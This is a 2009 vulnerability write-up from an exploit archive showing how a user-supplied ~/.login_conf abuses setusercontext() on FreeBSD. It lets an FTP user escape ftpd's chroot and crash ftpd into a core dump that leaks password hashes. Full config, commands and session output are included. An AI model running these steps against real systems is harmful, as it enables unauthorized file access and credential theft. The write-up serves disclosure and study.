*BSD setusercontext vulnerabilites
discovered by Kingcope, July 2009
lewls XD
Let's go..
BSD derived operating systems have a special function to set a "user context".
The function setusercontext() is available on for example FreeBSD 5.0 and 7.0.
An example from ftpd.c :
setusercontext(lc, pw, (uid_t)0,
LOGIN_SETLOGIN|LOGIN_SETGROUP|LOGIN_SETPRIORITY|
LOGIN_SETRESOURCES|LOGIN_SETUMASK);
An interesing setting here is LOGIN_SETRESOURCES with which a USER is allowed
to set resources actually.
From the manpage:
LOGIN_SETRESOURCES Set resource limits for the current process based on
values specified in the system login class database.
Class capability tags used, with and without -cur
(soft limit) or -max (hard limit) suffixes and the
corresponding resource setting:
cputime RLIMIT_CPU
filesize RLIMIT_FSIZE
datasize RLIMIT_DATA
stacksize RLIMIT_STACK
coredumpsize RLIMIT_CORE
memoryuse RLIMIT_RSS
memorylocked RLIMIT_MEMLOCK
maxproc RLIMIT_NPROC
openfiles RLIMIT_NOFILE
sbsize RLIMIT_SBSIZE
vmemoryuse RLIMIT_VMEM
Now one can set (means: upload) their own ~/.login_conf and play around a bit.
For example the chroot() call in ftpd.c can be bypassed
by setting "openfiles" to a value of 5.
The following example shows:
- User "kcope" is in /etc/ftpchroot and therefore is chrooted in
his home directory when logging in
- Using the setusercontext() technique we can easily circumvent
the chroot() call resulting in an access to all files after a login.
- The problem here is now we cannot "ls", "get" or "put" using the ftp
client. The cause is the open files restriction. All commands which
do not require opening files are available though including mkdir,
chmod, rm etc.
Example (the files .login_conf and .login_conf.db are uploaded before
doing this):
---snip---
%cat /etc/ftpchroot
kcope
%cat .login_conf
me:\
:openfiles=5:
%cap_mkdb .login_conf
%ftp 192.168.2.4
Connected to 192.168.2.4.
220 FTP server (Version 6.00LS) ready.
Name (192.168.2.4:root): kcope
331 Password required for kcope.
Password:
230 User kcope logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
Remote directory: /usr/home/kcope
ftp> mkdir /tmp/foobar
257 "/tmp/foobar" directory created.
ftp> ls
425 Can't open passive connection: Too many open files.
425 Can't open passive connection: Too many open files.
200 PORT command successful.
550 /bin/ls -lgA: Too many open files.
ftp>
---snip---
Another attack involves the option "stacksize" in ~/.login_conf,
which can be used to set the maximum stack size the process may use
after the setusercontext() call.
I am currently researching if the SIGSEGVS in arbitrary locations
(depended on the stacksize) may be used to execute arbitrary code. It looks promising.
For now there is the really small possiblity that the sysctl setting "kern.sugid_coredump"
is set on the target FreeBSD system to '1' and therefore allows setuid and setgid core dumps.
In the example we use the "STAT" ftp command with openfiles=5 and the ftp will crash creating
a core dump in the kcope home directory which contains for example the master.passwd entries
(of course only when kern.sugid_coredump sysctl setting is set to '1'.)
Example:
# sysctl -a | grep sugid
kern.sugid_coredump: 0
# sysctl kern.sugid_coredump=1
kern.sugid_coredump: 0 -> 1
%cat .login_conf
me:\
:openfiles=5:
%ftp 192.168.2.4
Connected to 192.168.2.4.
220 FTP server (Version 6.00LS) ready.
Name (192.168.2.4:root): kcope
331 Password required for kcope.
Password:
230 User kcope logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote stat foo
213- Status of foo:
421 Service not available, remote server has closed connection.
ftp> quit
%tail /var/log/messages
...
Jul 29 04:28:46 kernel: pid 3663 (ftpd), uid 1001: exited on signal 11 (core dumped)
%
%ls -la ~/ftpd.core
-rw------- 1 kcope users 2150400 Jul 29 04:28 /home/kcope/ftpd.core
%strings ftpd.core | grep \$1
$1$2qRDatb.$6.x04oHbLcrSSdHu4Kohg0
$1$2qRDatb.$6.x04oHbLcrSSdHu4Kohg0
$1$2qRDatb.$6.x04oHbLcrSSdHu4Kohg0
$1$fXHQPE4.$Xu6RC2GoZG2j0inNHMS4V/
$1$fXHQPE4.$Xu6RC2GoZG2j0iNNHMS4V/
... (many entries)
(These are of course not my real encrypted passwds XD)
As mentioned before this _might_ be used to execute arbitrary code I am still researching that.
Cheers,
Contact: kcope2@googlemail.com isowarez.de/
Kingcope
# milw0rm.com [2009-08-24]
